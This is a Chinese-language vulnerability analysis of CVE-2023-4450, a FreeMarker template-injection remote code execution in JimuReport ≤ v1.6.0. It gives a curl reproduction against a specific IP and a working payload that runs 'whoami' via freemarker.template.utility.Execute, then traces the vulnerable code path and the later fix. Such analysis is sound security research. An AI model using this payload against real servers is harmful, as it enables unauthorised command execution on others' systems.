CVE-2023-4450:jeecgboot积木报表系统 模板注入远程代码执行
简介
jeecgboot积木报表系统jimureport(jmreport)是一款免费的数据可视化报表,含报表和大屏设计,像搭建积木一样在线设计报表!功能涵盖数据报表、打印设计、图表报表、大屏设计等!
漏洞描述
jimureport ≤ v1.6.0 具有 SSTI(服务器端模板注入),攻击者可利用该漏洞远程执行任意代码(RCE)。
影响版本
jimureport ≤ v1.6.0
漏洞复现
1 | curl --location 'http://101.42.52.114:8080/jeecg-boot/jmreport/queryFieldBySql' \ |
回显payload
1 | {"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"} |
漏洞分析
环境搭建参考:https://buaq.net/go-175132.html
将.bat文件修改为如下内容
1 | java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar jimureport-example-1.5.8.jar |
idea进行默认的远程调试配置即可
在sql解析处存在相关漏洞
抓包,路由为/jmreport/queryFieldBySql
在此处下载一个断点
开始调试
var1变量是我们传入的语句,获取sql属性的值,并将其作为参数传入i.a方法,跟进
a方法对传入的数据进行一个sql注入的黑名单过滤,回到c方法
进行一些基本的赋值之后,来到这一步
调用了一个parseReportSql方法,其中var2是我们传入的内容
中间会进行一个动态代理的调用
最终来到i.class的parseReportSql方法
会调用到一个e.a方法
其中sql为我们传入的数据,跟进
继续调用i.a方法,依旧是之前那个sql注入黑名单的过滤,接下来会调用一个a方法
跟进
随后会直接对传入的数据进行解析
跟进
接下来就是正常的freemarker模板注入,达成命令执行
高版本修复
会在此处抛出异常
具体是因为这一步的问题
深究一下发现是在这里
在尝试实例化ObjectConstructor类时,会由于安全原因直接抛出异常